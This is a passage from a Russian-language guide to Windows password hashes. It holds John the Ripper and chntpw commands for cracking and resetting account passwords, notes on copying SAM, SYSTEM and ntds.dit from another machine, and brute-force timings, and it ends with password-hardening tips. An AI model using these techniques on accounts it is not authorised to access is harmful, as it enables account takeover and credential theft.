Для солёных именем пользователя хэшей доменных учётных записей -format:mscash:

john —wordlist:password.lst -format:mscash mydump.txt

SAMInside

В программе реализована брутфорс атака, атака по словарю\по маске, атака с использованием радужных таблиц.

Картинка с сайта: nahlogin.blogspot.com

Другой софт:
Уже упомянутый Cain&Abel  умеет брутфорсить описанные типы хэшей.

Hashcat — поддерживает множество хэш-функций, может использовать GPU;
Ophcrack — взламывает NTLM хэши используя радужные таблицы;
etc.

Удаление или смена пароля

Для  сброса паролей можно воспользоваться консольной утилитой chntpw. Программа позволяет сменить пароль пользователя и наделить одного из пользователей правами администратора а также редактировать другие ключи реестра в ручном режиме. В ОС BackTrack, программа располагается вот здесь /pentest/passwords/chntpw/

Просмотреть (-l) пользователей

chntpw -l <SAM>

Интерактивный (-i) режим позволяет за несколько простых шагов проделать вышеописанные действия:

/pentest/passwords/chntpw/chntpw -i <SAM>

Картинка с сайта: nahlogin.blogspot.com

Картинка с сайта: nahlogin.blogspot.com

Картинка с сайта: nahlogin.blogspot.com

После после завершения операций, перед выходом, остаётся утвердительно ответить на вопрос о сохранении изменений.

Learn samdump on backtrack 5
How to crack Windows Passwords using *dump
Memory Forensics: How to Pull Passwords from a Memory Dump
OnlineHashCrack.com
crack MD5, SHA1 and/or NTLM hashes

Восстанавливаем локальные и доменные пароли из hiberfil.sys
Volatility. Retrieve password from memory dump

Программы
cachedump

Калькуляторы хэшей
http://www.nitrxgen.net/hashgen/
***

Алсо

В: Что такое парольная защита?
О: Пожалуй, никто не станет спорить о том, что на сегодняшний день операционные системы на базе Windows NT являются самыми популярными в мире. Это делает их весьма уязвимыми мишенями для различного рода хакеров, взломщиков и недобросовестных пользователей. Широкое распространение глобальной сети только усугубляет ситуацию. Чтобы обеспечить персонализацию хранимых данных пользователя или системы и уберечь их от доступа третьих лиц, была придумана технология парольной защиты. В настоящее время, в операционных системах Windows, парольная защита является основной базовой системой защиты. Доступ к приватным данным в этом случае возможен только при знании оригинального пароля, обычно слова или фразы. На практике это выглядит так: программа или система при попытке доступа к защищенным данным запрашивает текстовый пароль. Этот пароль проверяется с оригинальным значением и, если эти значения совпадают, система разрешает доступ к защищенным ресурсам, иначе отклоняет его. Основной недостаток парольной защиты состоит в том, что программе или системе необходимо где-то хранить оригинальный пароль, чтобы в последствие была возможность сравнивать его с вводимыми значениями.

В: Как хранятся пароли в операционной системе?
О: Но не все так плохо, система Windows NT была разработана таким образом, чтобы не хранить оригинальные, текстовые значения паролей. «Как так?» — спросите вы. А очень просто. Существуют специальные криптографические алгоритмы свертки паролей, которые работают только в одну сторону. Поэтому их еще называют OWF — функции одностороннего преобразования. Грубо говоря, можно получить хэш от пароля, но пароль из хэша не получится. Как это работает в Windows? При создании учетной записи, пользователь вводит начальный пароль, который, однако, не хранится в открытом виде, а хэшируется с помощью OWF функции. Получаемый хэш пароля сохраняется в системе. В дальнейшем, при попытке входа, система запрашивает пользователя пароль, также хэширует его и полученный хэш сравнивает с оригинальным хэшем, сохраненным ранее. Если эти значения совпадают, то пароль, естественно, тоже. Таким образом, оригинальный текстовый пароль не хранится в системе. Более того, существуют и получают распространения новые алгоритмы, которые не хранят даже хэш. Такой алгоритм, к примеру, используется при шифровании паролей Internet Explorer 7-8. Подробнее с ним можно ознакомиться в нашей статье.

В: Как шифруются пароли?
О: Windows NT для хэширования паролей пользователей использует 2 алгоритма: LM, доставшийся нам в наследство от сетей Lan Manager, в основе которого лежит простейшее преобразование DES, и NT, на основе функции хэширования MD4.
LM, как более слабый и уязвимый, по умолчанию не поддерживается новейшими системами Windows Vista и Windows 7, однако его можно включить. Более того, прослеживается тенденция его полного исключения или замещения. Важно знать, что при установленной опции хэширования LM (а она по умолчанию включена в Windows XP), все пароли пользователей считаются достаточно уязвимыми. Как правило, для взлома большинства таких паролей требуется несколько минут.

NT-хэш лишен недостатков, присущих LM-хэшу. Следовательно, подобрать правильный пароль к известному NT-хэшу значительно сложнее, чем к многострадальному LM. Но имеющаяся тенденция увеличения вычислительных возможностей современных компьютеров, особенно при использовании графических карт, возможно, в скором будущем сделают и этот стандарт уязвимым для потенциальных злоумышленников.

В: Где хранятся хэши паролей?
О: Итак, мы установили, что пароли пользователей в системе Windows преобразуются в специальные значения — хэши. LM и NT хэши имеют фиксированный размер — 16 байт и могут хранится в двух хранилищах: SAM — для обычных учетных записей и Active Directory — учетные записи домена.

Обычные учетные записи, содержащие имя пользователя, его пароль и другую служебную информацию, хранятся в реестре Windows NT, а именно файле SAM (от англ. Security Account Manager). Этот файл находится на жестком диске в каталоге %windows%/system32/config. Где %windows% — путь в вашему каталогу Windows. Например, С:/Windows/System32/Config/SAM. Система имеет привилегированный доступ к файлу SAM, поэтому пока она загружена, доступ к файлу запрещен даже администраторам, однако Windows Password Recovery легко обходит это ограничение. Кроме того, несомненный интерес для потенциального взломщика представляют резервная копия файла SAM.SAV и сжатая архивная копия SAM в каталоге %windows%/Repair. Другой способ доступа к файлу SAM — запуск специальной программы с загрузочного диска с последующим копированием файла. Пароли, а точнее хэши, пользователей дополнительно шифруются при помощи утилиты SYSKEY, служебные данные которой находятся в файле реестра SYSTEM. Поэтому для извлечения хэшей из SAM, потребуется также файл SYSTEM, находящийся в той же папке, что и SAM.

Учетные записи домена хранятся в базе данных Active Directory. Обычно база данных AD располагается в файле %Windows%/ntds/NTDS.DIT и является сердцем Active Directory. Хэши пользователей шифруются несколько иначе, чем в SAM, но для расшифровки также требуется файл SYSTEM. Доступ к базе также полностью контролируется системой, однако в отличие от SAM, база ntds.dit устойчива к модификации извне.

В: Если все так просто, то почему не запретить доступ всех пользователей к SAM или Active Directory?
О: Так и сделано. По умолчанию, только система имеет доступ к этим файлам. Однако эти ограничения довольно легко обходятся. Например, Windows Password Recovery может импортировать хэши из текущих (заблокированных системой) файлов SAM и Active Directory. Кроме того, система хранит хэши в памяти компьютера для быстрого доступа к ним, поэтому возможен также дамп памяти компьютера.

В: Я не понял, что нужно скопировать с другого компьютера, чтобы расшифровать пароли на своем?
О: Если это обычный компьютер, то следующие файлы: SAM, SYSTEM (а также желательно SECURITY и SOFTWARE). В случае с сервером, нужны эти же файлы и еще ntds.dit.

В: Сколько времени надо чтобы подобрать пароль если известен LM хэш?
О: Самым большим недостатком алгоритма получения LM-хэша является разделение пароля на две части, каждая из которых состоит из 7 символов. Если вводимый пользователем пароль менее 14 символов, то к нему добавляются нули, чтобы получить строку, состоящую из 14 символов. Если пароль пользователя превышает 14 символов, то LM-хэш соответствует пустому паролю. Каждая из 7-символьных половин пароля шифруется отдельно , что значительно упрощает и ускоряет процесс подбора пароля. Другой серьезный недостаток LM-хэша связан с тем, что в процессе шифрования все буквенные символы пароля переводятся в верхний регистр. Т.е. хэши паролей PASSWORD, password, Password или pAsswOrd будут совершенно одинаковыми. Применив brute force атаку отдельно к каждой половине, современные персональные компьютеры могут подобрать численно-цифровой LM-хеш за несколько минут (или даже секунд, при использовании Rainbow атаки). Давайте подсчитаем. Чтобы подобрать пароль методом перебора для любых буквенно-цифровых комбинаций, надо разбить пароль на две части по 7 символов и перебрать 36+36^2+..36^7=80 603 140 212 комбинации. Причем поиск всех хэшей осуществляется одновременно. Скорость перебора в программе Windows Password Recovery на компьютере Intel Core i7 составляет более 100 млн. паролей в секунду. Округлим в сторону уменьшения до 100. 80 603 140 212 / 100 000 000 = 806 секунд. Т.е. мы гарантированно подберем пароль за чуть более 10 минут методом грубого перебора.

В: Сколько времени надо чтобы подобрать пароль если известен NT хэш?
О: С NT хэшами все немного сложнее. NT хэш не имеет недостатков, присущих LM. Поэтому вероятность подбора пароля полностью зависит от его длины и сложности, падая лавинообразно. Даже несмотря на то, что сам по себе алгоритм преобразования NT более быстрый. Рассмотрим следующую таблицу зависимости время перебора пароля от его длины и сложности (для скорости перебора 100 млн. п/c на обычном четырехядерном ПК)

[attachimg=1]

В: Чем отличается обычная атака перебором от GPU brute-force атаки?
О: Для конечного пользователя, исползующего программу, ничем, за исключением того, что GPU атака перебирает пароли быстрее в несколько раз. Или даже в несколько десятков раз, в зависимости от используемого оборудования. Например, имея достаточные средства, легко можно собрать компьютер, перебирающий NTLM пароли со скоростью 10 миллиардов паролей в секунду или даже больше. Представьте теперь, что вы собрали такой ПК. Тогда таблица времени перебора будет выглядеть следующим образом:

[attachimg=2]

В: Сколько времени надо чтобы узнать NT пароль, если LM пароль известен?
О: Практически, мгновенно.

В: Почему нельзя просто удалить/стереть хэш, т.е. сделать пустой пароль?
О: Почему нельзя? Можно. Например, используя вот эту утилиту. Такой вариант вполне устраивает тех, кому надо любой ценой получить доступ к своей (или чужой, например, соответствующим органам власти) учетной записи. Более того, с помощью вышеупомянутой утилиты можно сделать так: сохранить хэш, сбросить хэш, войти в учетную запись с пустым паролем, произвести необходимые манипуляции, а затем восстановить обратно сохраненный хэш. Но не все так просто. Сбросив пароль и получив доступ к учетной записи, вы не сможете узнать большинство других паролей. Почему? Потому что пароль пользователя участвуется в создании мастер ключа пользователя, применяемый в шифровании DPAPI, EFS и других подсистемах Windows. Т.е., сбросив пароль, вы в дальнейшем не сможете расшифровать следующие данные: файлы, зашифрованные при помощи EFS, пароли учетных записей Outlook, пароли Internet Explorer 7-9, пароли сетевых подключений (RAS, DSL, VPN etc.), сетевые пароли к другим компьютерам, пароли беспроводной сети, MSN Messenger credentials, Google Talk & Google Chrome passwords, Skype и т.д.

В: Другими словами, чтобы расшифровать пароль, например, Internet Explorer, от другой учетной записи, мне сначала нужно узнать пароль этой учетной записи?
О: Совершенно верно. Либо уже иметь доступ к загруженной и работающей учетной записи.

В: А есть какие-нибудь бэкдоры или секретные входы?
О: Как и везде. Например, пароль учетной записи иногда может храниться в текстовом виде в секретах. Пароли ко многим системным учетным записям также легко расшифровываются. Более того, если вы уже вошли в систему, то текстовый пароль хранится в памяти на протяжении жизни вашего профиля!

В: Для этого при импорте хэшей с локального компьютера запрашивается файл реестра SECURITY?
О: Да, основное назначение Security — хранилище т.н. LSA Secrets. В этих секретах (но не только к них) могут храниться plaintext пароли. В Интеллектуальной атаке реализована проверка возможных уязвимостей системы и, как следствие, быстрая расшифровка некоторых паролей.

В: А можно при входе в систему вместо пароля подсунуть готовый хэш?
О: Такие программы есть. Действуют они следующим образом: перед загрузкой системы извлекают хэши паролей пользователей SAM. Затем во время загрузки учетной записи, подсовывают известный хэш вместо пароля. Однако последствия этих манипуляций такие же, как если бы просто сбросить пароль. Т.е. большинство других паролей вы расшифровать не сможете.

В: Что делать, если файл SAM безнадежно испорчен? Можно ли в этом случае восстановить оригинальный пароль?
О: Можно, хотя у вас уже не будет доступа в систему. Можно, например, подобрать пароль по мастер ключу пользователя. В Passcape Software имеются такие наработки. Существуют также кэшированные пароли домена. Если компьютер входит в домен, то по умолчанию имена и хэшированные пароли последних десяти пользователей, регистрировавшихся на этом компьютере, кэшируются в его локальном системном реестре в разделе SECURITY/Policy/Secrets. Можно воспользоваться программой Reset Windows Password для дампа хэшей (их еще называют MSCACHE) с последующей возможной расшифровкой их в Network Password Recovery Wizard или другой аналогичной программе.

В: Мне надо получить доступ к учетной записи. Объясните на пальцах чайнику, что и как лучше сделать.
О: Если кратко, есть два способа восстановления доступа к учетной записи:
Сбросить пароль, например, сделав его пустым. Для этого есть специальные утилиты, самая мощная и корректная из которых — Reset Windows Password. Принцип ее действия прост: запускаете программу создания загрузочного диска. Создаете с помощью нее загрузочный CD/DVD или USB диск Reset Windows Password. Далее включаете компьютер с учетной записью, доступ к которой надо получить, и меняете настройки БИОС таким образом, чтобы разрешить загрузку с CD/DVD /USB. На некоторых компьютерах, эта опция уже включена. Загружаетесь с загрузочного диска RWP и, следуя указаниям мастера программы, сбрасываете пароль учетной записи. Все. Теперь можно выполнить вход в систему под этой учетной записью. Однако сброс пароля гарантирует только доступ к учетной записи. Если вам в дальнейшем надо получить доступ к файлам, зашифрованным EFS или восстановить другие пароли (например сетевые), то этот способ не годится.

В: Как сделать пароль «безопаснее»?
О: Обезопасить себя от угадывания пароля потенциальными злоумышленниками можно несколькими способами:

Не использовать словарные слова (на любом языке), имена, номера, повторяющиеся последовательности букв и цифр, абревиатуры, клавиатурные комбинации, персональную информацию и т.д. Такие пароли подбираются особенно легко.

Увеличить длину пароля. Однако всему есть разумный предел. Помните, что длина, это еще не главное (впрочем, не только в паролях). В итоге, придумывание длиннющего пароля приведет к тому что очередной пароль будет успешно забыт после бурно проведенных выходных или отпуска. Кроме того, память обычного человека не способна удерживать боле 5-7 паролей одновременно. А ведь есть еще сетевые пароли, пароли Web и т.д.

Расширить используемый в пароле набор символов. Например, заменить в пароле символ а на @. Использование национальных символов также радикально увеличивает стойкость пароля. Использовать редко встречающиеся символы, например ~. Не стоит использовать сложнозапоминающиеся пароли, состоящие из случайного набора символов, если вы не гений, конечно.

Не используйте один единственный пароль для входа в Windows, Веб сайтов, сервисов и т.д.

Если вы боитесь забыть все свои пароли, запишите их в отдельный файл и установите пароль к нему. Хорошая парольная защита, например, использована в архиваторе Rar. Не храните этот файл на локальном компьютере.

Никогда не вводите свой пароль на чужом компьютере. Не стоит записывать пароли на стикерах и приклеивать их к монитору.

Подумать о дополнительной защите. Например, если установить опцию SYSKEY startup password, то с вероятностью, близкой к 100%, ваши пароли не сможет подобрать ни один парольный взломщик, не угадав начальный пароль SYSKEY.